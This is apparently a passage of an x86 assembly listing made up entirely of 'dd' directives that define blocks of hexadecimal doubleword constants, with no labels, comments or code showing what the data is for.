dd 0BEB5FBE9h, 6347BFD3h, 30F2A53Fh, 47ACEE07h, 0F7867965h
dd 6CE81E81h, 0BBBCB64Dh, 0DDA586C3h, 0B45A5B43h, 0BB460EC6h
dd 0F9CF0D62h, 68BEA2CEh, 0CE4C9619h, 0CB6C0F35h, 138A2903h
dd 0F02E83E4h, 516D890Bh, 0AA87EB4Bh, 0C5BDB54Fh, 2AD0CF23h
dd 6CC6F807h, 7886E756h, 0C7B744D3h, 0A7467F5Ah, 6B6CFB13h
dd 0FA52DC4Dh, 45E83751h, 349E5ECEh, 0E4452337h, 0BC72C710h
dd 33508D5Dh, 732A1EDEh, 77AF8811h, 0CD87F784h, 317FD370h
dd 1EF7DC3h, 1F571F21h, 0FBA49544h, 7017DF62h, 6CA732Ah
dd 6B6D91C3h, 27A18FC5h, 9A4BDB40h, 24A7E863h, 0AB077E24h
dd 0DFFED1Bh, 0A1C3CD17h, 0E9B4221h, 1597821Ah, 0E6F032A9h
dd 90ED535h, 54122D8h, 0F82D9C8h, 0AA111549h, 68D5CB61h
dd 0D025B778h, 8A6E4D7Fh, 0B7E274A4h, 19E4CB06h, 98A64C7Bh
dd 0E286513h, 0E6B3F1F4h, 614EE2BBh, 3E8E174Bh, 1FE78D87h
dd 8AB3397Bh, 9D59BB12h, 61C9D8CAh, 0D5257F63h, 0FEAB32D2h
dd 0DD6DFAB4h, 5C0CA12Dh, 0D74BF25Dh, 0CC1814A4h, 2C49BA63h
dd 68985A50h, 0DCF4E336h, 0D05D8EC9h, 0D816439Ah, 5AF95DE9h
dd 0DF84C7AAh, 34AAC7CEh, 1CA0DECFh, 0F34F7E1Bh, 0E90CF9A3h
dd 4AB62B0h, 0D571A1B7h, 0D5425834h, 0F5FAE345h, 92EEB7E8h
dd 0F201EEAAh, 0B3134918h, 0BC7F4814h, 0B083C219h, 3973B726h
dd 5678331Ah, 71A3061h, 9485773h, 8507A478h, 9006BD36h
dd 927FB5B8h, 2922108h, 0AFF14FB4h, 8896308h, 737A231Eh
dd 17E39B67h, 0AD2CB5CFh, 0F65FDE22h, 0AF33F9E7h, 14F961D1h
dd 5922AD6Ch, 17814CD7h, 7BE9D434h, 9A413760h, 91529EC1h
dd 96229483h, 7CAD718Ch, 0BE7DFDEDh, 32C0A11Ah, 332B4CCEh
dd 82A6BE82h, 50993E63h, 0E929A561h, 0DA4C6F25h, 0FAE49B57h
dd 3FF2C57Dh, 8D7D8CFFh, 0B028028Ch, 0D8645FEFh, 8F1CA0EFh
dd 4EC562E5h, 8AA14522h, 0D3D4E3FCh, 676B075Bh, 0F7AD2DAh
dd 87AA6CFAh, 660DD452h, 589F272Bh, 2C787114h, 2022E1B2h
dd 5421560h, 0BB6E145Dh, 2644E4E2h, 8E3C4BFFh, 0C5B5E258h
dd 2248FD2Bh, 860CE2D6h, 7439D568h, 5C71DB1Dh, 9E7E8965h
dd 947A9CA6h, 0B6E82CD0h, 25B052A7h, 0CC5196BCh, 39E3D965h
dd 4E5D268h, 7FDD3C34h, 0CA2867FCh, 0FF2D73F4h, 39E1F50Eh
dd 0B27A4557h, 0FF11290Eh, 15DDC53Eh, 0A49E2F50h, 0E0D79B38h
dd 72B6A80h, 0ADF5C4C6h, 0E57CADD3h, 16E34CFEh, 61228310h
dd 42B1D782h, 0CA4F3EA4h, 67A3A515h, 5D548B67h, 6FB13098h
dd 1E9BB4BBh, 21745E70h, 2B8B144Bh, 2D48D73Ah, 0E46E4280h
dd 2489904Ah, 6DACAF9Dh, 222E5D00h, 0F7E2F7h, 9753B2C6h
dd 0C3D44CBBh, 23241BAh, 24C393Ah, 9372A5CEh, 0FC168F9Fh
dd 0A7A0F57Bh, 468B28F0h, 4DF17957h, 0BCBB16DBh, 0E6B63118h
dd 85E0751Dh, 4EEDD41Dh, 0FF07D231h, 96896581h, 0D7C590A2h
dd 2EDEC1FDh, 153A1D1Eh, 0BC326889h, 130DCEBCh, 0F552E465h
dd 2B8F3B32h, 147DAA6Ah, 0CA5B559Ch, 8EB781B1h, 0A95EE96Ah
dd 78EB6D2Fh, 0DCC6DE89h, 838EEE1Ah, 0ED7824E0h, 0BA64147h
dd 95196547h, 0A714093Ch, 0EB712585h, 0C1B255B6h, 83A81855h
dd 0E0609E20h, 0B5C6705h, 706E33AFh, 2CBFA992h, 44684B3Ah
dd 0EF298E1Dh, 0F97D5335h, 0E084152Fh, 567A93ACh, 21E8B3DAh
dd 0D0355406h, 8E70E606h, 848D8781h, 1CA4497h, 0BEE21391h
dd 48F8531Dh, 0E82822B8h, 94E0F81Ah, 4A3B14BEh, 7FCEFBFAh
dd 125DA5B0h, 4C4EB8EDh, 46089244h, 3FCE9E1h, 0B8565A2Bh
dd 40D589D8h, 360C29BBh, 827C6B86h, 0FC9B623Bh, 7BF05E0Eh
dd 7F164AB4h, 0F70C286Dh, 0D0BB94A4h, 209B74CBh, 0CBA8B82Eh
dd 0F3F73C6h, 0D487DE74h, 1BB80D92h, 7DF5A009h, 0A4C60D2Eh
dd 0B7F88B7Ah, 63E06E81h, 544943D3h, 3631EB8Bh, 0DF448FFBh
dd 73E8E4F7h, 4C71A251h, 3B87009h, 0D0AEE18Bh, 51D83C84h
dd 0F1245EEBh, 0A3BCAB40h, 20D809ACh, 8562916Dh, 42F927D2h
dd 94F0E8C2h, 7623DFCDh, 0A169334Ah, 666EFFB1h, 134C43F4h
dd 0A5A547ACh, 2784358Eh, 0D12C3121h, 7EBFC67Fh, 692051F4h
dd 0CA044E1Bh, 261AD739h, 0BE5312C4h, 76D26F6Eh, 9EBBCC95h
dd 3BFDCDCEh, 1E410426h, 7338B910h, 6F18BFB5h, 0C36CB68Ch
dd 0AA0EBE7Ch, 72EA90FDh, 2EA2A2A3h, 7C83446Bh, 4EC2A87Ah
dd 0A1A39C8Fh, 73C4D60Bh, 0DE2EC534h, 295D4B8Dh, 0E8263557h
dd 7B347670h, 806D28D5h, 7C3575DDh, 20674431h, 88B23D5Ah
dd 0C0722E3Dh, 327460D9h, 5F76DC86h, 6D56B425h, 59128234h
dd 0EEC6F060h, 3C558BAEh, 667BCDEBh, 73A88579h, 0C92BD2CDh
dd 7D0B38EFh, 3DB39D63h, 0AA02C8CCh, 9C621FB8h, 5556CACEh
dd 130B108Ah, 0CE057140h, 701ED4DBh, 0A347E9AFh, 0BE52223Dh
dd 0DDA34E48h, 0B1A7FE49h, 68EA6E74h, 0F7C79723h, 62D7BCC6h
dd 0C585412Eh, 5FA855DCh
dd 33F07A75h, 7897011Dh, 0EB59423Bh, 0C52FB4D0h, 73DA630Dh
dd 0EBBE5496h, 48A96219h, 2675CE5Eh, 24998ED8h, 0C1A0A9D8h
dd 643DD99Bh, 0B8767726h, 613ABF13h, 3EB89D7Bh, 95708521h
dd 0FC96A213h, 0C2705CDBh, 1CAE6999h, 6453E113h, 0B681C95Dh
dd 725AD04Dh, 0D7AD6F27h, 0B1B7300Eh, 5B3C64D0h, 0D2FBE1A4h
dd 0D2F66F79h, 22128301h, 201A72F1h, 0A02248AEh, 0A103F479h
dd 0C8DFEC6Eh, 0EDD75222h, 6A36CCA5h, 587FEA4Bh, 46CD168Bh
dd 618FDD03h, 372A92E8h, 31944D7Eh, 40DBB971h, 3D1C5D05h
dd 0DD1ECAD1h, 31B5A357h, 0D230D2Ch, 7AEE2AAAh, 385F7C32h
dd 20D81E65h, 429A6241h, 0B963FE64h, 3B4B1A6Ch, 0D2E46BBEh
dd 3530552Bh, 0D4A560FBh, 83E3069Ch, 78DD9D91h, 0D54C38A3h
dd 83E98B03h, 0A90ABAEAh, 904BA382h, 819CEA4Ch, 22070CF6h
dd 0AD1DFD18h, 8CDC2048h, 8320D552h, 7E8E57FEh, 2DB3140h
dd 443081DAh, 764E09F2h, 269FB47Dh, 0E631CFB9h, 22FB9FD1h
dd 5C7CD536h, 16A9BA7Ch, 163E0959h, 8D3651EEh, 48971E72h
dd 5BD3A679h, 8C018A76h, 0E3750155h, 228E80C8h, 941AF7D4h
dd 0F418EC58h, 0EDCB8598h, 0F66654AAh, 1D5D730Eh, 0A42C6488h
dd 39D2C7BFh, 5B29B85Ch, 0C00A3AF9h, 0F19C08Ch, 0AC3EBA53h
dd 26865C97h, 0E0B06A9h, 0AC229CA2h, 87850555h, 0FE7AC3DCh
dd 0A8C9586Ah, 0B2B01B84h, 9350537Dh, 0DDFCB18Ch, 2287F8ABh
dd 0F6860C2Ch, 0D8526749h, 0A96EA5E2h, 6BE37E33h, 0DEBCD731h
dd 3B4F1EFFh, 0F43F2E99h, 0EC1F6A81h, 353D40C5h, 0CBBEBCADh
dd 0A6F6456Ch, 42B83926h, 6B1C1FF2h, 9F4E3BCh, 0D65A019Dh
dd 7E6AF03Bh, 0E00AA196h, 0A2921B19h, 812BDBC1h, 3F4D3413h
dd 31EBB9C7h, 3E21F0E1h, 9B67FA60h, 0E6D2A006h, 0CCD882BFh
dd 0EDC75601h, 0E8EC5228h, 892B0294h, 65D83E5h, 77DA0ABFh
dd 0E6033AA3h, 954FE207h, 12908A99h, 0EE66D7FBh, 0CBD728EDh
dd 49EEA5B0h, 426A4FA8h, 0E67818F3h, 0D1E8819Fh, 696EF30Ah
dd 44B98BDFh, 6486FDEBh, 3CC09369h, 206024B3h, 0AAE01823h
dd 0F4F04019h, 0A9F084A6h, 59B6BAA4h, 0E263F6D9h, 0DB8544FCh
dd 0F2AB4457h, 0AAECE68Bh, 0FECDCBF7h, 94BE027h, 0E3B1F200h
dd 2F235789h, 0E4718A79h, 409DB7F4h, 51D9B906h, 6F567B6Ah
dd 0CA004489h, 0A8C35BCDh, 8AC3FA55h, 9231E40h, 0B8B7899Fh
dd 7252098Dh, 4D010A63h, 0FD0EB87Fh, 442CBE0Bh, 834D7902h
dd 0FAD4777Ch, 5793641Ch, 0E1693933h, 0D11920C9h, 0ADF590F8h
dd 7ADAA38h, 38D45DC7h, 0CB5D188Fh, 0D972CE74h, 0E6337E32h
dd 8D68F9E9h, 0A49D3222h, 392534E6h, 73F7DDA6h, 0B3AAC284h
dd 968BB027h, 0F3A30331h, 390E8F9h, 20F6CD83h, 3E4F3044h
dd 0BB20BCEDh, 0AA3B69BEh, 49462915h, 45AA006Eh, 4CDEF780h
dd 0A4701457h, 0CAE6FC5Dh, 24D02FDAh, 0A365A6B5h, 38CAE019h
dd 9B5A90FCh, 0D8081A5Dh, 0CFEFD60Ah, 0D01DD3A7h, 3CB5075Ch
dd 0AF5EF627h, 90959722h, 87B554E4h, 437688B5h, 60BB4044h
dd 0FB1F379h, 0E9338C4h, 0B4AB2CFEh, 2F653501h, 484BCB01h
dd 6EB29634h, 0FFC0732Ah, 0F856CE32h, 7D7B81FBh, 4FBB0EAAh
dd 3AF3F3ABh, 0ABC2427Ch, 0F19E4936h, 0A91CFBA7h, 14E8013Ah
dd 3DCA407Ah, 7C2FE190h, 64FC7F39h, 0D07AADCEh, 99B9002Dh
dd 135DED84h, 48E878B7h, 0BB567884h, 5EE41612h, 20697A7Ah
dd 31B112B6h, 785AEE19h, 0A44BF5FFh, 0B3B46443h, 67D4E050h
dd 0BA01A143h, 52AE8D7Ch, 97AD35B3h, 14CE8FB1h, 7DA17202h
dd 9AE7CD8Ch, 56335F88h, 0D4087E3h, 0F7593AB3h, 97A93E1Bh
dd 5A717B93h, 1E9EA6FFh, 0BECD5590h, 0B0750FA9h, 4875454h
dd 3F43E423h, 29F39DAEh, 0A9795DA1h, 6C39BA5Ah, 8C17D395h
dd 0B8315F08h, 2D82F317h, 0DEB33017h, 0F8666B53h, 6EEEA995h
dd 847EA8EAh, 81124EAEh, 5DF36045h, 0DFA5491Ch, 2C0B960Fh
dd 9F4BB3FCh, 0F01CA361h, 0AC0016ADh, 95FAF32Dh, 6BC45B6Dh
dd 6767854Ch, 0D0463FF9h, 0CFBD1ADEh, 0A1B6E97h, 6D78B547h
dd 0C6921089h, 0D5D018D3h, 3E6DE662h, 8C77FB40h, 0A2DD373Dh
dd 0A82A34C7h, 0D067E29Bh, 0CCC0788Dh, 493A8B1Ch, 32D3C71Ch
dd 0ACBF7A3Ah, 692BAF7h, 9BB96B8h, 97324A4h, 0D4CACBB2h
dd 0D48897EBh, 17118776h, 0F8BFB386h, 5979069Eh, 70A87398h
dd 0A0A2C58Eh, 0D0169573h, 0EA2A6D2Ch, 255407EBh, 0B06988CDh
dd 0C752A7EAh, 0E2323550h, 4428C12Ch, 0C976FD00h, 9510C02Dh
dd 0EAEBAFE0h, 0AE161084h, 8FD6BA23h, 28F64E57h, 13767EA9h
dd 4894CBEDh, 1A87FC9Ah, 511D0F95h, 2D729550h, 17E42DD2h
dd 31058358h, 0DD61AC6Ah, 85CD6E56h, 4D4381FEh, 9879C8Fh
dd 714BB757h, 0FB2B0B24h, 211D6786h, 347DB289h, 3A14DC8Eh
dd 138CC048h, 1183C64Ah, 70829A8Bh, 40F2F9C6h, 0C65EBABBh
dd 0C8D3725Fh, 0CF057A98h, 17D5178h, 6546BB46h, 0F7C80F6Dh
dd 0EA2946D5h, 6E67C6C3h, 0E18FA324h, 202C1755h, 0D3E0D839h
dd 0EF01743Eh, 0B97ED18Eh, 0B518ABB8h, 3AC30961h, 0B72EC9F5h
dd 0C8C2E2B2h, 0B7580746h, 9C6CFF43h, 1BD486BBh, 0E4D71F96h
dd 5AA402A3h, 19625563h, 9F94A1BAh, 8C0EF83Dh, 318B9A68h
dd 15DB3164h, 9FED2CCAh, 1B95175Ah, 9B7A3D35h, 0E628868Ah
dd 0F1B5A96Eh, 5ED1611Eh, 391AD952h, 0F0A23F75h, 7F6E3853h
dd 0EBD5FCC8h, 8B9E8976h, 7D11F2A6h, 0A3C905DAh, 1BA7A902h
dd 865107FCh, 800ABF47h, 93553F7Dh, 0D532B97Eh, 0CEC2A470h
dd 71B3C120h, 0D1EDB053h, 6BD18FD7h, 0B2FEA6CBh, 126C1935h
dd 15EBD5C9h, 5530F63Dh, 0DA00876h, 26B65DAEh, 179254ADh
dd 3BE93ABFh, 7B274F84h, 2A9BC0CCh, 26D0C265h, 25355102h
dd 60FDFF6Dh, 503F8F97h, 7E31C821h, 0B0849C35h, 4766454Eh
dd 0A9C5EB33h, 4DECD0C9h, 2F9DC391h, 259AF568h, 6A8BF6D5h
dd 1F7328BEh, 0D39D17B7h, 6393E41Ah, 28ADD057h, 2CFC43EEh
dd 41D93C01h, 0D893098Eh, 5F5CC9FCh, 4C68A8B2h, 0E4BE187Dh
dd 9504CCEAh, 0DF08A27h, 3E045363h, 0D8A8D7FFh, 4E97E9A3h
dd 6C046272h, 78E80510h, 0BE3C1CFFh, 570F0373h, 553ABCA5h
dd 9593FE45h, 0B7FB11DDh, 0C0649A8Fh, 8E2D8E6Ah, 0D1A474F7h
dd 320CEE05h, 362E5487h, 0F5FF8C66h, 0BFB8DED2h, 33306EFDh
dd 0AACEEAA4h, 6B95BEF1h, 54A0976h, 7A3D3F7Bh, 511CE226h
dd 0B1F13E37h, 36416A90h, 0C4C2788Ah, 17047BA0h, 7C39642Bh
dd 8DF678C0h, 5DCBBBA9h, 0B2B02395h, 55481A42h, 361D6CF2h
dd 0CF2AFC07h, 303F7E8Ch, 14B9CBCAh, 75875D8Bh, 499C2BB5h
dd 42548BA5h, 5122CF73h, 6069C32Ch, 0BD0C4959h, 0B0BB18A6h
dd 0AD49D739h, 0E4DB51B7h, 11F8BF71h, 4BA18125h, 0C535BB38h
dd 4F4B31EDh, 2CD7562Eh, 254E01EDh, 1E10B4EEh, 7BD73250h
dd 0D5EABEB8h, 0B0EFD720h, 0F181F14Dh, 3CBFB291h, 0FCFCBD63h
dd 0E344DE5Eh, 70897473h, 15EA917Ah, 2A20955Fh, 30EA7A40h
dd 5200A19Eh, 0CD11E01Eh, 0B5888328h, 17851B83h, 44A19D5h
dd 717236EFh, 62444979h, 309AFF78h, 67E719F8h, 28F632E2h
dd 7A0265BAh, 24CBAFDCh, 0DA4161D1h, 9FD10D9Dh, 7A2A26D0h
dd 0AD7DF9C2h, 2AE729EEh, 761F5395h, 0BD91D152h, 33692432h
dd 0C541BF0h, 713AA50h, 0B031281Fh, 4DACAFEBh, 0ED7F4897h
dd 0D75FCC7h, 218ACAEBh, 55A1F557h, 41D56143h, 0B5E4908h
dd 15B32663h, 651A1AEFh
dd 3245413Dh, 0FBE25EB3h, 4A479794h, 0DC37C486h, 0FAB81F0Eh
dd 0C2E339C6h, 49083155h, 3102F930h, 348FE9A6h, 321B55E9h
dd 0FA2DBCD1h, 2B768BA7h, 0B9FD6BFAh, 780AC59Ah, 34E71BDh
dd 0BDCFF8AFh, 1462968h, 419FF091h, 7676AA9h, 51F85E27h
dd 0ADE5BF4Fh, 0BE3E5165h, 6EB560BEh, 5EC687E2h, 0DBA12F20h
dd 33333472h, 0C0FF5655h, 939CCB76h, 0CE39AEB1h, 0D4EBEFC9h
dd 2F88E0Ah, 0D9DD7986h, 5EAE0220h, 0A75C0D76h, 78B46F5Bh
dd 0F64A00ADh, 7D2C4365h, 0DBFE4055h, 676C5339h, 8AB37144h
dd 36EC4D08h, 11625428h, 0CA60526Bh, 37E18E8Dh, 6B97BC7Eh
dd 0FD9F33D9h, 7C50B5C8h, 6A975784h, 53ABF7D5h, 0C8A463AAh
dd 0E604D9B4h, 6B2B83E8h, 0BD3AFAD3h, 26387DB4h, 0EE050E02h
dd 0AEA75EEEh, 43CF3CBEh, 4037AC5h, 0AF62E3BDh, 66F84F2Dh
dd 0EEC61845h, 2D052117h, 51D513C2h, 0EB91495Fh, 266CAFDFh
dd 0CC044082h, 6B978C37h, 183DB7C9h, 7A7662C8h, 205B4B77h
dd 0F55E3BAAh, 50F58321h, 0BFFBA414h, 80349C02h, 0FE983261h
dd 55B92043h, 7C818BF8h, 8F951F15h, 1D743F99h, 7E070A43h
dd 7FC90A84h, 7456FAF3h, 7DFFC053h, 63EEED7Fh, 0C469554Eh
dd 0B3A0EC46h, 0A445AE2Dh, 0D548EB55h, 915E999Bh, 6465870Ah
dd 264CEAC1h, 34ACA6B1h, 7F015F66h, 5EBC7AEFh, 9047DF71h
dd 6E250D79h, 53759E21h, 0DCD75011h, 0E6B33110h, 1047FE1Ch
dd 1E81B649h, 0A4753E4Eh, 0C9C10797h, 24DEEA03h, 0FB4169A6h
dd 8CC336BBh, 7B3AC8AFh, 0F550ED14h, 0CF2F1587h, 0F75A90E5h
dd 84D99170h, 0CA343B86h, 0E040E159h, 17228C79h, 49D62CE7h
dd 0AF1C894Fh, 38B6CF4Fh, 438074CAh, 0BCF12121h, 536C49D5h
dd 0B0CAE051h, 0DFB1FB0Fh, 5FC1179Fh, 0D92E5939h, 0BFFF0E9Dh
dd 9B0B3B62h, 5C9D5298h, 193530DFh, 0A349BABBh, 97CA401Fh
dd 7AF10BD8h, 0F974747Ch, 3B695BC3h, 672208Bh, 7E137161h
dd 8B16FADBh, 0ABF7F638h, 0BB6A4DCFh, 0B14EBBEAh, 456222F1h
dd 31479F1Ah, 3DDD3151h, 0D61CC376h, 0AC364FB4h, 1D064F16h
dd 363DD954h, 0C89DAB18h, 0F9A28D40h, 0F446AC49h, 0DF8E45F7h
dd 2289E798h, 76697251h, 35F737F8h, 0FA3F2D59h, 2E1F55BBh
dd 6B1DC412h, 0B97E6493h, 3E37078Dh, 0F5F71BBCh, 227FEEDFh
dd 79A7E16Bh, 9A3B0288h, 4F1A194h, 5FD80D56h, 0D9FCCA88h
dd 0EE3442BFh, 0F97D9790h, 2C630876h, 91977104h, 0FF7742Dh
dd 7786D999h, 8CE57771h, 15CAC7Ch, 0A7401BA5h, 0CB292BD9h
dd 16932F15h, 4A59E155h, 3E400BA5h, 85870D79h, 746342DBh
dd 13039B1Dh, 0F31C7C64h, 6997ECADh, 0F19BD3BCh, 7636A757h
dd 0D4619DB8h, 4B53DB31h, 30EAC3F1h, 0D597EC21h, 4333D83Fh
dd 0DF411246h, 341306A1h, 8288D749h, 1F1108CBh, 0B16CCBBh
dd 0BF2E308Fh, 92517A8Eh, 0C500FDF5h, 4BB5F51Bh, 0A7A060Ch
dd 0BEF81886h, 0B0720B30h, 9947115Ah, 3A772A65h, 88226C9Ah
dd 0C8445902h, 733952A7h, 8681D6F4h, 4884DEEh, 7FF302BBh
dd 7B9784DAh, 0BA40E68Ah, 2EA848AAh, 40E29E10h, 0ADDB1597h
dd 820C85A3h, 4CD0B099h, 0E97844B7h, 66BBD70Eh, 312CDDCAh
dd 0E2396B36h, 9B58626Eh, 0B0E5E478h, 0D162F514h, 59EE6C7Ch
dd 642B67E5h, 764640E6h, 79D73D19h, 6892599Fh, 412C35Fh
dd 0C4A373ECh, 0F3199E29h, 0D0F909DAh, 86076081h, 875954A0h
dd 63EE66FFh, 95914D8Ah, 8D4DBAF6h, 2541360Ch, 0B65E125Fh
dd 51808742h, 0BE6FA932h, 0C6FE62BDh, 0EDAD1233h, 0D86B242h
dd 84824378h, 0BD58D4CEh, 0FCAEDACh, 7CB007Eh, 30FF468Eh
dd 53161860h, 432CE14h, 6BF96E15h, 0E3B81DBCh, 0B1A45A1Fh
dd 69E67BB5h, 0F6782FDDh, 84CA21EBh, 0DF915957h, 82D519C3h
dd 5E26F9C0h, 13B05174h, 937DC00h, 0F51401BFh, 0C8C66479h
dd 3A9E2B7Dh, 0F6FD965h, 0F213BBF1h, 8E10B7EEh, 0AD91D8A7h
dd 7434FF53h, 672D8224h, 35F17404h, 7A152ED0h, 0C28DFEB7h
dd 0D364DE4Ch, 9B1B2A9Ah, 6C6B5BDCh, 0BE4CC6B5h, 773FCFA8h
dd 701E3F42h, 5C6616A2h, 0FE7F683Bh, 0FEDE5E6h, 2127B131h
dd 2406B308h, 285C08F2h, 0E8A2B40h, 0BCAAE803h, 31879329h
dd 0F50133BEh, 0C592BD9Dh, 0A1DC0585h, 31826FA0h, 1E43436Bh
dd 57C56BBEh, 3A7C209Dh, 0C37C86EFh, 12F18350h, 6DAD6758h
dd 70910124h, 0A68EE84h, 7DA4CA1Dh, 2141C498h, 202A4ABCh
dd 0DE76FFDFh, 50225118h, 9A64D771h, 2D9DB6CAh, 2AF24072h
dd 0F66D446Bh, 0F3595E7Dh, 0E9ABE202h, 69006AA2h, 0BCB0CAECh
dd 0D14215EEh, 6A331F9Fh, 9CD96AB1h, 0B8C43670h, 752616F7h
dd 25A5E61Ah, 97147966h, 296F5B65h, 8D2D7BD8h, 0BB89DC44h
dd 0BC45B9CBh, 2E3D931Dh, 642B6798h, 0DCBFEF68h, 0D18D1AD4h
dd 0F4709E0Eh, 975F7921h, 0AFC8BD58h, 728F7D7Eh, 1CAAA095h
dd 53B55B71h, 3E9B05FCh, 0BF787A3Ah, 144D5D3Dh, 81418AACh
dd 0F1C7DC88h, 4CC350F8h, 515819F3h, 2BC7C1FBh, 9595450Eh
dd 37541CE6h, 0C6E7DAC1h, 0AE42C9C6h, 0CAC3E1FAh, 9B9332A9h
dd 0D98F98A8h, 0C4E1B7E2h, 7B0C8866h, 3729764Ah, 0C29D5C6Dh
dd 34FC72A0h, 0DAD1E39Ch, 0EA5C0CDAh, 24706796h, 0B0A1A636h
dd 0F5CBDD9Dh, 0EDCB9954h, 0EFFF9944h, 0A8F38C94h, 8E84CF2h
dd 0BBB204E4h, 0BD15B78Ah, 0FEBF382Ah, 66F9D21Eh, 86E19DD2h
dd 84DBB6AAh, 3C270F03h, 5C75A4C1h, 6306DD57h, 831CB88Ch
dd 0BA2ABB25h, 0C4C1AFC3h, 0B52E901Ch, 0B169BCACh, 62114669h
dd 9893375Fh, 82F79DB0h, 8CCF06E9h, 0D72284ADh, 79C6BB80h
dd 0ED13F680h, 86BD3184h, 59D38117h, 0C6994526h, 39ED7322h
dd 0B02B5ABCh, 8068F8B5h, 95A7B405h, 6927C79Eh, 37294483h
dd 2A751620h, 3D4CB5E3h, 0A49E6F0Bh, 5A24F896h, 2E9ADE47h
dd 0D950C679h, 26C17E0Bh, 6136C833h, 209BEF98h, 2FDF5C0h
dd 65DAA0ABh, 0FC58C7DCh, 499A0C28h, 9AF4C53Fh, 75459415h
dd 0E601A88Fh, 0C22D4F59h, 32F2DC2Bh, 0A8E32CE0h, 0F6A5974Fh
dd 2448A91Eh, 0C71AEBEAh, 0C4DDB14Ch, 0F235C3E6h, 44460C32h
dd 4212B4CAh, 0CAC0B75Eh, 0DC256CDEh, 904DBE07h, 89B54EC6h
dd 0F9557222h, 3D3A0917h, 0B529E1F8h, 7294A28Fh, 0EDE3928Ah
dd 207569FCh, 0AE6EB48Ah, 0FD3F145Eh, 7E4D1Fh, 0A9D5D56Fh
dd 0D40731CCh, 0F75E0BBCh, 69ACF37Bh, 9910EB27h, 3FB3F74Ah
dd 1EC482FAh, 0D5CF3A1Ah, 0A6A902CCh, 0B1C3AA8h, 47773CACh
dd 20103534h, 9BDBAB2Ch, 81CA8AADh, 0B13B6791h, 0A1C865CBh
dd 14D2FFCh, 893D30ABh, 9FC460Bh, 91D46698h, 73441982h
dd 0EC904030h, 0C5DFD5DCh, 1418916Ah, 0A992FB2Dh, 0A4B1FD7Bh
dd 0DF4EACAAh, 69C5C6F4h, 29838A2h, 4FBDD1FFh, 5F802252h
dd 131BD41h, 0A0ECF82Ah, 301E1D8h, 0C2F0EEF1h, 887AD15Bh
dd 16B58C09h, 0C85FD182h, 4D9607B2h, 925853F0h, 0D33B1086h
dd 61F28801h, 1785E48Fh, 958D3B16h, 0CECDE2F4h, 0D8A61ECAh
dd 8317AE3Eh, 0D3DC2CF9h, 0BC4C8DD9h, 9D209149h, 0EFEB55EAh
dd 0FA787AADh, 674749E0h, 4F2A90Eh, 0A4A8CB61h, 0F3A79E99h
dd 68760D38h, 0E206528Bh, 0C29BF52Dh, 0E132621Dh, 3EED1ED5h
dd 0D977588Fh, 0CDA514B2h, 1AB54A67h, 6172A755h, 0E679ED02h
dd 10F3BCD0h, 917D6BA2h, 0E50108F3h, 7B70F56Fh, 0CAA5F34h
dd 3095F639h, 0EEF4E547h, 0F4905687h, 4AD3D9B2h, 8F6B667Bh
dd 9D4A3ACh, 0F5DDBA0Ch
dd 3934919h, 8B1FACBEh, 70A16EBCh, 855B7CA0h, 143E7667h
dd 0FCD74916h, 0CB95F684h, 19C3D9A2h, 9290A696h, 0D14AECAAh
dd 18519A61h, 95051663h, 0BC73AF24h, 6766531Ah, 895CE592h
dd 0DEA88B73h, 586D0E0Ah, 0A2C98083h, 695E5612h, 924AD2E4h
dd 46DAB1D0h, 0C150E079h, 38DAE69Bh, 0CEF12CC9h, 0AB30136Ah
dd 0B03A61ABh, 97E7994Bh, 9E741783h, 0D0FC3BAAh, 0B012338Ch
dd 0F08ADE06h, 0ED059979h, 98DCCDB9h, 9F7B81C4h, 0E5F603F6h
dd 0A0931C8Ah, 0BDFFF1C9h, 7AE0EA87h, 0B9D9D577h, 0C8EA23h
dd 212F718Bh, 0C73D2DA9h, 0A648E6AEh, 98973BA9h, 72EAE63Bh
dd 6F5E4772h, 96EE98Ch, 6C382AFCh, 3AD18325h, 5710AF10h
dd 0CF00F776h, 369BF240h, 0D6BE0180h, 1534B510h, 4FB04C5Ch
dd 7B500CB8h, 5EEA3681h, 0B5812817h, 6DAB8113h, 57E34052h
dd 119BA9ECh, 0EE1A6DF6h, 52D74B84h, 2F58E809h, 0F74E8D7Ch
dd 9C497DE9h, 0DE022C3h, 71DEB3Bh, 0FB2E4F0Bh, 0B9CBD4D6h
dd 0D040CFC6h, 0CA8FE169h, 619DCCA3h, 2A6F4163h, 0F44C5DA3h
dd 48667014h, 167575BFh, 0F18BDA74h, 0C256C7AAh, 6F01FC95h
dd 0CA12F2BDh, 70EAC378h, 0CE30B6AFh, 30FF2B30h, 1578E4Dh
dd 0E5AB8703h, 520C04EAh, 8FE2E712h, 4AFE0378h, 744BCA64h
dd 0BD43132h, 0A4714BF0h, 0AEF0BA9Bh, 0F485EDADh, 7F74DE8Eh
dd 97C2CBF8h, 32A3B9F1h, 10B43591h, 3918DF2Eh, 36E045EEh
dd 7A49E47Dh, 15110546h, 1F8F6103h, 0C400F9AEh, 7C710D29h
dd 0D8CF65C5h, 0B440A41Dh, 65D30083h, 1499C073h, 0DBCD63D1h
dd 970E68C0h, 7A973F8Eh, 0D6CE71FAh, 0C07181Bh, 75441ECFh
dd 6E9758B8h, 662CEAB6h, 0EE7042C5h, 28648BAh, 9A22048h
dd 0E039A98Dh, 43CADFE4h, 399B3C20h, 0B9314EE7h, 6195DB20h
dd 0D5ACEC5Dh, 3B09D224h, 77107A4h, 0F5FB42ECh, 89C4058Ch
dd 0F3174383h, 80678577h, 10E5AF82h, 2090FE4Bh, 1160A329h
dd 51793CAFh, 0E8B07F2Fh, 862CEFBCh, 7A09A0CFh, 967CA94h
dd 2EF0ACAEh, 1948ACCh, 0A9A160E3h, 0A1C5B13Bh, 3157D249h
dd 4CB59470h, 6860354Dh, 812650BCh, 0CE32FB20h, 8981FCAAh
dd 0C445BB4Fh, 0EDF11803h, 0E57E0442h, 0AF18CE89h, 0BFF4AC0Dh
dd 49609C7Fh, 6A33C6EDh, 6ACA8430h, 80907F3Dh, 3ABDB01h
dd 0FBCC9D31h, 0E992FAFCh, 1116915Ah, 0AC7EA0ADh, 0CDD68496h
dd 0AB3BAA60h, 0AEB66DDAh, 0C31F2F1Ah, 0AF83E3BFh, 2C7B7DE7h
dd 0EA22EF01h, 40D9A7D8h, 708BBE98h, 7021E9C2h, 0FE773678h
dd 19533EF0h, 4EBFD465h, 4D8A1F34h, 0AABD97FEh, 9E9E78EEh
dd 44893E17h, 1A7D7982h, 8129087Bh, 0ECE8418Fh, 581CCA02h
dd 0A5B17D8Fh, 0A88A723Fh, 41C826EDh, 8B8103E7h, 0F5A81A97h
